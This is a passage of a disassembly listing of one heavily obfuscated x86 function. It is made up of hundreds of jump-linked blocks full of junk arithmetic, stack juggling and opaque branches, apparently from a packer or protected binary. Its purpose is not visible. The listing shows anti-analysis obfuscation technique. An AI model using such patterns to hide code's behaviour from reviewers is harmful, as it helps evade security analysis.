loc_59038E:				; CODE XREF: sub_58A891+47A6j
		jmp	loc_594C3B
; ---------------------------------------------------------------------------


loc_590393:				; CODE XREF: sub_58A891+6B69j
		pop	eax
		jmp	loc_58F0AB
; ---------------------------------------------------------------------------


loc_590399:				; CODE XREF: sub_58A891+E0CDj
		xor	esi, 4EA9274Eh
		push	0
		sub	[esp+34h+var_34], esi
		pop	esi
		push	ecx
		mov	ecx, 770C189Eh
		jmp	loc_59AEBA
; ---------------------------------------------------------------------------


loc_5903B3:				; CODE XREF: sub_58A891+8CCEj
		xchg	esi, [esp+34h+var_34]
		pop	esp
		jmp	loc_5969C4
; ---------------------------------------------------------------------------


loc_5903BC:				; CODE XREF: sub_58A891+7502j
		xor	ah, 0DAh
		mov	dl, ah
		push	[esp+30h+var_30]
		jmp	loc_59586D
; ---------------------------------------------------------------------------


loc_5903C9:				; CODE XREF: sub_58A891+CF1Dj
		xchg	edi, [esp+34h+var_34]
		jmp	loc_59BA8C
; ---------------------------------------------------------------------------


loc_5903D1:				; CODE XREF: sub_58A891+45BDj
		pop	ebx
		push	edi
		mov	edi, 2CA00E2Ah
		jmp	loc_58FDB6
; ---------------------------------------------------------------------------


loc_5903DD:				; CODE XREF: sub_58A891+7676j
		xchg	dh, bl
		not	dh
		xchg	dh, bl
		add	bl, 67h
		shr	bl, 4
		jmp	loc_5957DC
; ---------------------------------------------------------------------------


loc_5903EE:				; CODE XREF: sub_58A891+FBFAj
		push	edx
		push	edi
		jmp	loc_58F73B
; ---------------------------------------------------------------------------


loc_5903F5:				; CODE XREF: sub_58A891+4368j
		sub	edi, 145D254Ah
		jmp	loc_598825
; ---------------------------------------------------------------------------


loc_590400:				; CODE XREF: sub_58A891+D1EEj
		mov	[esp+18h+var_18], ecx
		mov	ecx, ebx
		push	edx
		mov	edx, ecx
		mov	edi, edx
		pop	edx
		pop	ecx
		push	[esp+14h+var_14]
		pop	ebx
		jmp	loc_59B157
; ---------------------------------------------------------------------------


loc_590415:				; CODE XREF: sub_58A891+D01Aj
		pop	edx
		add	esp, 4
		sub	cl, 27h
		jmp	loc_59693D
; ---------------------------------------------------------------------------


loc_590421:				; CODE XREF: sub_58A891+59E3j
		push	3F9h
		mov	[esp+10h+var_10], esp
		jmp	loc_59346B
; ---------------------------------------------------------------------------


loc_59042E:				; CODE XREF: sub_58A891+B5B3j
		mov	ecx, 0
		add	ecx, eax
		mov	[ecx], bl
		jmp	loc_59A2AD
; ---------------------------------------------------------------------------


loc_59043C:				; CODE XREF: sub_58A891+8B4Aj
		mov	eax, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	[esp+14h+var_14], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 16D30287h
		shr	edx, 5
		jmp	loc_592532
; ---------------------------------------------------------------------------


loc_590463:				; CODE XREF: sub_58A891+A345j
		push	eax
		push	[esp+1Ch+var_18]
		jmp	loc_594099
; ---------------------------------------------------------------------------


loc_59046D:				; CODE XREF: sub_58A891+88D8j
		mov	[esp+20h+var_20], ebx
		add	[esp+20h+var_20], 652406EBh
		pop	edi
		jmp	loc_592CC9
; ---------------------------------------------------------------------------


loc_59047D:				; CODE XREF: sub_58A891+7942j
		push	edx
		push	[esp+20h+var_1C]
		pop	edx
		pop	[esp+20h+var_20]
		jmp	loc_594892
; ---------------------------------------------------------------------------


loc_59048B:				; CODE XREF: sub_58A891+9DC6j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59049F:				; CODE XREF: sub_58A891+B450j
		mov	edi, ebp
		jmp	loc_5906AB
; ---------------------------------------------------------------------------


loc_5904A6:				; CODE XREF: sub_58A891+D90Dj
		shr	ecx, 4
		xor	ecx, 173B7CFEh
		xor	ecx, 10A54B7Fh
		jmp	loc_59A601
; ---------------------------------------------------------------------------


loc_5904BA:				; CODE XREF: sub_58A891+66E4j
		mov	eax, edi
		jmp	loc_593590
; ---------------------------------------------------------------------------


loc_5904C1:				; CODE XREF: sub_58A891+11349j
		mov	eax, [esp+1Ch+var_1C]
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_59569E
; ---------------------------------------------------------------------------


loc_5904DC:				; CODE XREF: sub_58A891+AACDj
		add	dl, al
		mov	eax, [esp+24h+var_24]
		jmp	loc_59957F
; ---------------------------------------------------------------------------


loc_5904E6:				; CODE XREF: sub_58A891+BB94j
		push	45E8h
		mov	[esp+28h+var_28], eax
		mov	eax, 6B6C5ED1h
		neg	eax
		shl	eax, 7
		and	eax, 50A077AEh
		shl	eax, 8
		jmp	loc_597802
; ---------------------------------------------------------------------------


loc_590505:				; CODE XREF: sub_58A891+D995j
		sub	ebx, 24EF10D4h
		mov	eax, [ebx]
		mov	ebx, [esp+28h+var_28]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 68990A35h
		shl	ebx, 3
		push	esi
		jmp	loc_591B0E
; ---------------------------------------------------------------------------


loc_590522:				; CODE XREF: sub_58A891+4B9Aj
		push	2BF7C30h
		pop	ebp
		push	esi
		mov	esi, 302A0047h
		sub	esi, 559F3DECh
		sub	esi, 705EB4E5h
		xor	ebp, esi
		pop	esi
		mov	ecx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		xor	ebx, ecx
		mov	ecx, [esp+4Ch+var_4E+2]
		jmp	loc_591066
; ---------------------------------------------------------------------------


loc_590552:				; CODE XREF: sub_58A891+4277j
		sub	edx, 7D2F7ADBh
		jmp	loc_597F19
; ---------------------------------------------------------------------------


loc_59055D:				; CODE XREF: sub_58A891+D856j
		sub	ebp, 16AE7E67h
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_599B5B
; ---------------------------------------------------------------------------


loc_590571:				; CODE XREF: sub_58A891+6FEDj
		push	ebx
		mov	ebx, 0F78DEB8Fh
		xor	esi, ebx
		jmp	loc_59101F
; ---------------------------------------------------------------------------


loc_59057E:				; CODE XREF: sub_58A891:loc_58E638j
		add	eax, 0F018AE52h
		add	edx, eax
		jmp	loc_5973AB
; ---------------------------------------------------------------------------


loc_59058A:				; CODE XREF: sub_58A891+7A94j
					; sub_58A891+B24Cj
		add	ecx, 3CC26152h
		xor	edi, ecx
		pop	ecx
		sub	eax, edi
		jmp	loc_59616F
; ---------------------------------------------------------------------------


loc_59059A:				; CODE XREF: sub_58A891+A950j
		sub	edi, 1283FF3Dh
		add	eax, edi
		jmp	loc_593109
; ---------------------------------------------------------------------------


loc_5905A7:				; CODE XREF: sub_58A891+EBD1j
		dec	ebx
		inc	ebx
		jp	loc_5959F5
		push	edx
		mov	edx, 0BE6E8661h
		xor	ebx, edx
		pop	edx
		mov	edx, ebx
		push	ebx


loc_5905BB:				; CODE XREF: sub_58A891+C523j
		xchg	ebx, [esp+40h+var_40]
		pop	esp
		jmp	loc_59A01C
; ---------------------------------------------------------------------------


loc_5905C4:				; CODE XREF: sub_58A891+10268j
		add	edi, 4
		jmp	loc_593B61
; ---------------------------------------------------------------------------


loc_5905CF:				; CODE XREF: sub_58A891+A25Ej
		neg	ax
		and	ax, 5568h
		jmp	loc_59566F
; ---------------------------------------------------------------------------


loc_5905DB:				; CODE XREF: sub_58A891+4B12j
		pop	eax
		pop	[esp+30h+var_30]
		not	eax
		jmp	loc_598367
; ---------------------------------------------------------------------------


loc_5905E6:				; CODE XREF: sub_58A891+5FB1j
					; sub_58A891+92EAj
		sub	al, bl
		add	al, 0Dh
		push	754h
		mov	[esp+30h+var_30], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+30h+var_30]
		jmp	loc_59B977
; ---------------------------------------------------------------------------


loc_590605:				; CODE XREF: sub_58A891+FDA6j
		push	esp
		pop	ecx
		jmp	loc_58FDA2
; ---------------------------------------------------------------------------


loc_59060C:				; CODE XREF: sub_58A891+BC57j
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		push	2EE45D31h
		jmp	loc_597EF8
; ---------------------------------------------------------------------------


loc_59061F:				; CODE XREF: sub_58A891+AB02j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_58EEB8
; ---------------------------------------------------------------------------


loc_590627:				; CODE XREF: sub_58A891+424Ej
		js	loc_595D35
		neg	ebp
		jmp	loc_59129F
; ---------------------------------------------------------------------------
		mov	edi, 4
		add	ecx, edi


loc_59063B:				; CODE XREF: sub_58A891+6BB2j
		add	[esp+3Ch+var_3C], 4
		jmp	loc_593739
; ---------------------------------------------------------------------------


loc_590644:				; CODE XREF: sub_58A891+839Ej
		mov	ebx, 0C370B21Eh
		add	ebx, esi
		pop	esi
		add	esi, ebx
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		xchg	esi, [esp+34h+var_34]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590662:				; CODE XREF: sub_58A891+E96Bj
		add	bl, 0F5h
		push	cx
		mov	cl, 6Ch
		xor	bl, cl
		mov	cx, word ptr [esp+3Ah+var_3C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+3Eh+var_40+2]
		jmp	loc_5974EB
; ---------------------------------------------------------------------------


loc_590686:				; CODE XREF: sub_58A891+B537j
		mov	esp, [esp+3Eh+var_40+2]
		push	645Ch
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 794A399Eh
		not	eax
		dec	eax
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		jmp	loc_59A8F5
; ---------------------------------------------------------------------------


loc_5906AB:				; CODE XREF: sub_58A891+5C10j
		pop	ebp
		or	edi, 34647776h
		push	ebx
		mov	ebx, 105E4CD5h
		neg	ebx
		neg	ebx
		shl	ebx, 8
		add	ebx, 0D69AAA73h
		sub	edi, ebx
		pop	ebx
		jmp	loc_5957BF
; ---------------------------------------------------------------------------


loc_5906CD:				; CODE XREF: sub_58A891+B321j
		pop	edi
		push	2548h
		mov	[esp+18h+var_18], eax
		jmp	loc_5928C8
; ---------------------------------------------------------------------------


loc_5906DB:				; DATA XREF: sub_58A891+3A5Bo
		lodsd
		add	eax, 603979C8h
		sub	eax, ebx
		jmp	loc_5952FC
; ---------------------------------------------------------------------------


loc_5906E8:				; CODE XREF: sub_58A891+EC50j
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	edx
		jmp	loc_599AE3
; ---------------------------------------------------------------------------


loc_5906F3:				; CODE XREF: sub_58A891+FB2Dj
		mov	ah, 4Ah
		dec	ah
		jmp	loc_5983F8
; ---------------------------------------------------------------------------


loc_5906FC:				; CODE XREF: sub_58A891+8EF0j
		mov	edx, 0
		add	edx, ecx
		push	ebx
		mov	ebx, 0
		add	ebx, 17DD6D94h
		jmp	loc_59822B
; ---------------------------------------------------------------------------


loc_590714:				; CODE XREF: sub_58A891+BAC3j
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		sub	eax, ebx
		sub	eax, 4A97661Ah
		push	ecx
		mov	ecx, 24383DE5h
		push	ebx
		mov	ebx, 7A5C36CCh
		sub	eax, ebx
		pop	ebx
		sub	eax, 331B64B8h
		sub	eax, ecx
		add	eax, 331B64B8h
		push	1D10h
		mov	[esp+14h+var_14], ebp
		jmp	loc_598616
; ---------------------------------------------------------------------------


loc_590749:				; CODE XREF: sub_58A891+F00Dj
		inc	esi
		jz	loc_59AA9B
		push	ebx
		mov	ebx, 6F5261CCh
		xor	ebx, 46CB70E9h
		and	esi, ebx
		jmp	loc_594921
; ---------------------------------------------------------------------------


loc_590763:				; CODE XREF: sub_58A891+63DCj
		mov	ebp, [esp+18h+var_18]
		jmp	loc_59A58C
; ---------------------------------------------------------------------------


loc_59076B:				; CODE XREF: sub_58A891+7909j
		mov	ax, 134Fh
		jmp	loc_593417
; ---------------------------------------------------------------------------


loc_590774:				; CODE XREF: sub_58A891:loc_5977BEj
		shr	ch, 6
		push	dx
		mov	dl, 0B1h
		add	ch, dl
		pop	dx
		jmp	loc_598B0C
; ---------------------------------------------------------------------------


loc_590784:				; CODE XREF: sub_58A891+BCFEj
		add	ecx, 54636D4Dh
		jmp	loc_594D23
; ---------------------------------------------------------------------------


loc_59078F:				; CODE XREF: sub_58A891+10410j
		mov	[esp+18h+var_18], esi
		mov	esi, esp
		jmp	loc_590036
; ---------------------------------------------------------------------------


loc_590799:				; CODE XREF: sub_58A891+624Ej
		jmp	loc_5941D1
; ---------------------------------------------------------------------------


loc_59079E:				; CODE XREF: sub_58A891+7490j
					; sub_58A891:loc_5992EEj
		and	ebx, 4E0B36A7h
		xor	ebx, 46895116h
		jmp	loc_594968
; ---------------------------------------------------------------------------


loc_5907AF:				; CODE XREF: sub_58A891+62A5j
					; sub_58A891+791Bj
		push	1036h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 267C3178h
		not	ecx
		not	ecx
		shr	ecx, 6
		jnz	loc_5945AE
		jmp	loc_5979DA
; ---------------------------------------------------------------------------
		sub	bl, dl
		pop	edx
		jmp	loc_59B3D6
; ---------------------------------------------------------------------------


loc_5907D6:				; CODE XREF: sub_58A891+4442j
		shl	ebp, 3
		jmp	loc_59B59F
; ---------------------------------------------------------------------------


loc_5907DE:				; CODE XREF: sub_58A891+72B6j
		xchg	ebp, [esp+0]
		pop	esp
		pop	[esp-8+arg_0]
		push	[esp-0Ch+arg_4]
		mov	eax, [esp-8+arg_0]
		add	esp, 4
		add	esp, 4
		jmp	loc_5986B8
; ---------------------------------------------------------------------------


loc_5907F6:				; CODE XREF: sub_58A891+6B43j
		mov	esp, [esp-10h+arg_8]
		mov	[esp-10h+arg_8], ebx
		pop	eax
		sub	esp, 4
		mov	[esp-10h+arg_8], edx
		push	1B354D23h
		jmp	loc_594F3B
; ---------------------------------------------------------------------------


loc_590810:				; CODE XREF: sub_58A891+A93Bj
		push	edi
		jmp	loc_5991D6
; ---------------------------------------------------------------------------


loc_590816:				; CODE XREF: sub_58A891+B1FFj
		mov	[esp-8+arg_0], eax
		push	5B6877F7h
		jmp	loc_5922E0
; ---------------------------------------------------------------------------


loc_590823:				; CODE XREF: sub_58A891+4E58j
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		push	eax
		mov	eax, 5591F9Ah
		sub	edx, eax
		jmp	loc_5909D3
; ---------------------------------------------------------------------------


loc_590836:				; CODE XREF: sub_58A891+4A43j
		xor	ebp, 3BFC4CB3h
		jmp	loc_59586D
; ---------------------------------------------------------------------------


loc_590841:				; CODE XREF: sub_58A891+75E1j
		dec	ebp
		jle	loc_5905E6
		add	ebp, 80008006h
		push	edi
		jmp	loc_58F407
; ---------------------------------------------------------------------------


loc_590854:				; CODE XREF: sub_58A891+4ED1j
		xor	ebx, 0DB05F5AFh
		sub	eax, ebx
		pop	ebx
		add	edi, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59630C
; ---------------------------------------------------------------------------


loc_59086D:				; CODE XREF: sub_58A891+63B4j
		sub	ebx, 744D56EAh
		add	ebx, edi
		add	ebx, 744D56EAh
		add	ebx, 5F40662Dh
		pop	edi
		push	edx
		jmp	loc_591911
; ---------------------------------------------------------------------------


loc_590888:				; CODE XREF: sub_58A891+A17Ej
		xor	esi, eax
		jmp	loc_597DA5
; ---------------------------------------------------------------------------


loc_59088F:				; CODE XREF: sub_58A891+6323j
		sub	al, bl
		pop	ebx
		jmp	loc_59B62F
; ---------------------------------------------------------------------------


loc_590897:				; CODE XREF: sub_58A891+FC81j
		sub	ecx, 28B51ED6h
		jmp	loc_592030
; ---------------------------------------------------------------------------


loc_5908A2:				; CODE XREF: sub_58A891+F14Dj
		add	esp, 4
		pop	[esp-8+arg_0]
		pop	esp
		jmp	loc_59A448
; ---------------------------------------------------------------------------


loc_5908B1:				; CODE XREF: sub_58A891+D63Aj
		xor	edx, 0DCB876D5h
		jmp	loc_5968E1
; ---------------------------------------------------------------------------


loc_5908BC:				; CODE XREF: sub_58A891+A019j
		push	[esp-10h+arg_8]
		pop	eax
		add	esp, 4
		add	al, 0FCh
		sub	al, ch
		sub	al, 0FCh
		pop	ecx
		push	ecx
		mov	ch, 0AFh
		push	3944h
		mov	[esp-10h+arg_8], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		mov	word ptr [esp-10h+arg_8], ax
		push	edx
		mov	dh, 6Dh
		shr	dh, 7
		jnp	loc_58F166
		jmp	loc_59A266
; ---------------------------------------------------------------------------


loc_5908FE:				; DATA XREF: sub_58A891+3B7Fo
		mov	ax, word ptr [esp+8+var_8]
		push	50A0h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_59891E
; ---------------------------------------------------------------------------


loc_59090F:				; CODE XREF: sub_58A891+6454j
		mov	esi, 4
		sub	eax, 2B86445Ah
		add	eax, 0AF61077h
		jmp	loc_591DCE
; ---------------------------------------------------------------------------


loc_590923:				; CODE XREF: sub_58A891+DAEEj
		mov	edx, 4
		add	esi, edx
		jmp	loc_599BFC
; ---------------------------------------------------------------------------


loc_59092F:				; CODE XREF: sub_58A891+C1D8j
		add	esp, 4
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_58F77B
; ---------------------------------------------------------------------------


loc_59093E:				; CODE XREF: sub_58A891+AD4Ej
		sub	eax, 61A3327Fh
		shr	eax, 6
		and	eax, 650F7CCEh
		add	eax, 28E2BE77h
		xor	esi, eax
		pop	eax
		mov	ecx, esi
		pop	esi
		shr	ecx, 3
		not	ecx
		shl	ecx, 6
		or	ecx, 20F65233h
		sub	ecx, 0CB8CE2CDh
		xor	edx, ecx
		pop	ecx
		add	edi, edx
		pop	edx
		push	eax
		jmp	loc_59659C
; ---------------------------------------------------------------------------


loc_590976:				; CODE XREF: sub_58A891+F8ADj
		xchg	eax, edx
		neg	edx
		xchg	eax, edx
		jmp	loc_592213
; ---------------------------------------------------------------------------


loc_59097F:				; CODE XREF: sub_58A891+FABCj
		mov	edi, esp
		push	ebp
		jmp	loc_59A68F
; ---------------------------------------------------------------------------


loc_590987:				; CODE XREF: sub_58A891+C9EEj
		inc	edx
		push	edx
		not	dword ptr [esp+0]
		pop	edx
		jmp	loc_58F59B
; ---------------------------------------------------------------------------


loc_590992:				; CODE XREF: sub_58A891+64C9j
		sub	esp, 4
		jmp	loc_59532A
; ---------------------------------------------------------------------------


loc_59099D:				; CODE XREF: sub_58A891+AE08j
		mov	[esp+0], eax
		push	edi
		mov	edi, 7BF23BAh
		push	ebp
		mov	ebp, 7C3A3C83h
		inc	ebp
		sub	ebp, 0DD24CC0h
		xor	ebp, 0E962BE3h
		add	ebp, 348F177Dh
		add	ebp, 91132D10h
		sub	edi, ebp
		pop	ebp
		and	edi, 550A0785h
		jmp	loc_591414
; ---------------------------------------------------------------------------


loc_5909D3:				; CODE XREF: sub_58A891+5FA0j
		pop	eax
		or	ecx, ecx
		jz	loc_597891
		push	esp
		push	[esp+44h+var_46+2]
		push	[esp+48h+var_4A+2]
		jmp	loc_599E10
; ---------------------------------------------------------------------------


loc_5909E8:				; CODE XREF: sub_58A891+5A59j
		mov	ebx, 0AAB9CADCh
		jmp	loc_5957F5
; ---------------------------------------------------------------------------


loc_5909F2:				; CODE XREF: sub_58A891+C3FAj
		mov	eax, 1B5174AFh
		add	eax, 2540919Fh
		add	ebp, 6AFF38B6h
		sub	ebp, eax
		jmp	loc_599C85
; ---------------------------------------------------------------------------


loc_590A09:				; CODE XREF: sub_58A891+8FCBj
		push	ebp
		mov	ebp, esp
		jmp	loc_5948BB
; ---------------------------------------------------------------------------


loc_590A11:				; CODE XREF: sub_58A891+9DBAj
		push	ax
		not	byte ptr [esp+22h+var_24+2]
		jmp	loc_598FED
; ---------------------------------------------------------------------------


loc_590A1B:				; CODE XREF: sub_58A891:loc_58FB8Cj
		and	edx, 18380F55h
		add	edx, 3675426Bh
		jmp	loc_5910E9
; ---------------------------------------------------------------------------


loc_590A2C:				; CODE XREF: sub_58A891+107D8j
		jmp	loc_59410D
; ---------------------------------------------------------------------------


loc_590A31:				; CODE XREF: sub_58A891+ED64j
		pop	ebp
		xor	ebx, 0B271C80h
		neg	ebx
		jmp	loc_59291F
; ---------------------------------------------------------------------------


loc_590A3F:				; CODE XREF: sub_58A891+D1B8j
		or	ch, 31h
		shr	ch, 6
		jmp	loc_58FD51
; ---------------------------------------------------------------------------


loc_590A4A:				; CODE XREF: sub_58A891+1138Dj
		push	edi
		mov	edi, 2F285052h
		add	ecx, edi
		pop	edi
		push	eax
		push	7D80h
		mov	[esp+44h+var_46+2], ecx
		jmp	loc_596FF7
; ---------------------------------------------------------------------------


loc_590A61:				; CODE XREF: sub_58A891+11254j
		mov	word ptr [esp+44h+var_46+2], bx
		push	small 7C12h
		mov	word ptr [esp+46h+var_46], dx
		mov	dh, 0BDh
		mov	bl, dh
		pop	dx
		sub	al, 0D4h
		sub	al, bl
		add	al, 0D4h
		pop	bx
		jmp	loc_591A08
; ---------------------------------------------------------------------------


loc_590A80:				; CODE XREF: sub_58A891+412Bj
		mov	dl, ch
		mov	bl, dl
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_58F819
; ---------------------------------------------------------------------------


loc_590A8C:				; CODE XREF: sub_58A891+B3DAj
		push	2C3B1BDAh
		pop	esi
		jmp	loc_58F299
; ---------------------------------------------------------------------------


loc_590A97:				; CODE XREF: sub_58A891+5202j
					; sub_58A891+EF4Cj
		mov	esi, 395849DCh
		add	esi, 6DC41A32h
		sub	esi, 4744096Ch
		jmp	loc_591577
; ---------------------------------------------------------------------------


loc_590AAD:				; CODE XREF: sub_58A891+7328j
		mov	eax, ebp
		pop	ebp
		jmp	loc_5927D4
; ---------------------------------------------------------------------------


loc_590AB5:				; CODE XREF: sub_58A891+F535j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+14h+var_14]
		xor	[esp+14h+var_14], edi
		jmp	loc_58E6A1
; ---------------------------------------------------------------------------


loc_590ACF:				; CODE XREF: sub_58A891:loc_59BA77j
		and	eax, 6AD3323Dh
		sub	eax, 0B3E70C06h
		jmp	loc_594AC2
; ---------------------------------------------------------------------------


loc_590ADE:				; CODE XREF: sub_58A891+10D8Aj
		inc	esi
		jnz	loc_590799
		jmp	loc_5994E6
; ---------------------------------------------------------------------------
		and	ebx, 4E0B36A7h
		mov	eax, esi


loc_590AF2:				; CODE XREF: sub_58A891+DA2Bj
		mov	ebp, [esp+14h+var_14]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59568F
; ---------------------------------------------------------------------------


loc_590B09:				; CODE XREF: sub_58A891+6CD8j
		neg	ebx
		xor	ebx, 14F66CB1h
		inc	ebx
		sub	ebx, 0EAB93B3Dh
		jmp	loc_595CF0
; ---------------------------------------------------------------------------


loc_590B1D:				; CODE XREF: sub_58A891+10697j
		not	edx
		jmp	loc_5934D5
; ---------------------------------------------------------------------------


loc_590B24:				; CODE XREF: sub_58A891+F03Bj
					; sub_58A891+1063Dj
		pop	edx
		jmp	loc_599FB0
; ---------------------------------------------------------------------------


loc_590B2A:				; CODE XREF: sub_58A891+D62Aj
		jo	loc_592CF9
		jmp	loc_594061
; ---------------------------------------------------------------------------


loc_590B35:				; DATA XREF: sub_58A891+3B2Fo
		push	edx
		jmp	loc_5907AF
; ---------------------------------------------------------------------------


loc_590B3B:				; CODE XREF: sub_58A891+A204j
		inc	edi
		add	edi, 8C235DADh
		xor	ebp, edi
		pop	edi
		add	ecx, ebp
		push	[esp+8+var_8]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_596C31
; ---------------------------------------------------------------------------


loc_590B69:				; CODE XREF: sub_58A891+F6D3j
		push	4D3D0A23h
		pop	ebp
		neg	ebp
		jnp	loc_5990BE
		add	ebp, 7EFD3166h
		jmp	loc_59209E
; ---------------------------------------------------------------------------


loc_590B82:				; CODE XREF: sub_58A891+807Cj
		push	ebx
		mov	bh, 27h
		and	bh, 0D2h
		push	ecx
		mov	cl, 0E3h
		xor	cl, 1Ch
		jmp	loc_592A85
; ---------------------------------------------------------------------------


loc_590B93:				; CODE XREF: sub_58A891+D815j
					; sub_58A891+DB76j
		add	eax, 3AA314E5h
		sub	eax, ecx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		jmp	loc_594298
; ---------------------------------------------------------------------------


loc_590BA8:				; CODE XREF: sub_58A891+8E93j
		sub	dh, 25h
		pop	bx
		add	al, 97h
		add	al, dh
		push	ebx
		mov	bl, 97h
		jmp	loc_59088F
; ---------------------------------------------------------------------------


loc_590BB9:				; CODE XREF: sub_58A891+67E9j
		push	ebp
		push	edi
		jmp	loc_599CA7
; ---------------------------------------------------------------------------


loc_590BC0:				; CODE XREF: sub_58A891+E2B3j
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, 3FEC5968h
		add	ecx, 0F06A2094h
		and	eax, ecx
		jmp	loc_594ECA
; ---------------------------------------------------------------------------


loc_590BD5:				; CODE XREF: sub_58A891+DDAEj
		push	ecx
		mov	cl, 66h
		not	cl
		jmp	loc_5978FF
; ---------------------------------------------------------------------------


loc_590BDF:				; CODE XREF: sub_58A891+D5C6j
		add	esi, edx
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		xchg	esi, [esp+1Eh+var_20+2]
		pop	esp
		xor	word ptr [esp+1Ah+var_1C+2], cx
		xor	cx, word ptr [esp+1Ah+var_1C+2]
		xor	word ptr [esp+1Ah+var_1C+2], cx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590BFF:				; CODE XREF: sub_58A891+9A50j
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		xchg	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590C1C:				; CODE XREF: sub_58A891+F459j
		push	ebx
		mov	bl, 41h
		jmp	loc_596D3D
; ---------------------------------------------------------------------------


loc_590C24:				; CODE XREF: sub_58A891+8498j
		pop	edx
		not	edx
		jmp	loc_599B42
; ---------------------------------------------------------------------------


loc_590C2C:				; CODE XREF: sub_58A891+6E12j
		sub	edi, edx
		pop	edx
		add	edi, eax
		add	edi, 7798721Dh
		pop	eax
		push	edi
		jmp	loc_595B61
; ---------------------------------------------------------------------------


loc_590C3E:				; CODE XREF: sub_58A891+4B93j
		pop	ecx
		sub	ebx, 5F40662Dh
		jmp	loc_59086D
; ---------------------------------------------------------------------------


loc_590C4A:				; CODE XREF: sub_58A891+69DBj
		add	edx, 0ED328D5h
		sub	esp, 4
		mov	[esp+48h+var_4A+2], ebx
		mov	ebx, 41DE251Bh
		add	edx, 4B506369h
		add	edx, ebx
		sub	edx, 4B506369h
		pop	ebx
		jmp	loc_590763
; ---------------------------------------------------------------------------


loc_590C72:				; CODE XREF: sub_58A891+D541j
		shr	edx, 3
		sub	edx, 0FF58EE4Ah
		mov	ebx, edx
		pop	edx
		push	0BD7h
		jmp	loc_592CD7
; ---------------------------------------------------------------------------


loc_590C88:				; CODE XREF: sub_58A891+BC6Bj
		add	ebp, 4
		xor	ebp, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], ebp
		xor	ebp, [esp+44h+var_46+2]
		jmp	loc_5965C9
; ---------------------------------------------------------------------------


loc_590C9C:				; CODE XREF: sub_58A891+8130j
		mov	[esp+44h+var_46+2], edi
		push	390D3C37h
		pop	edi
		push	eax
		mov	eax, 0A4E7E8Dh
		not	eax
		neg	eax
		jmp	loc_592EF6
; ---------------------------------------------------------------------------


loc_590CB4:				; CODE XREF: sub_58A891+AAEAj
		xchg	ebx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		jmp	loc_592B66
; ---------------------------------------------------------------------------


loc_590CBF:				; CODE XREF: sub_58A891+4090j
		jnz	loc_596F8B
		xor	bl, 19h
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------
		pop	esp
		mov	al, 0DDh


loc_590CD0:				; CODE XREF: sub_58A891+F2E9j
		mov	ebx, edi
		mov	edi, [esp+0]
		push	7E69h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_59090F
; ---------------------------------------------------------------------------


loc_590CEA:				; CODE XREF: sub_58A891+C37Dj
		mov	[esp+8+var_8], ecx
		jmp	loc_58FFE0
; ---------------------------------------------------------------------------


loc_590CF2:				; CODE XREF: sub_58A891+CF90j
		sub	ebx, 0DFB2E372h
		mov	esi, ebx
		jmp	loc_596556
; ---------------------------------------------------------------------------


loc_590CFF:				; DATA XREF: sub_58A891+3B93o
		lodsd
		jmp	loc_596347
; ---------------------------------------------------------------------------


loc_590D05:				; CODE XREF: sub_58A891+E174j
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		sub	ebp, 1B3B5BE6h
		add	ebp, esi
		add	ebp, 1B3B5BE6h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+0Ch+var_8]
		push	[esp+10h+var_10]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
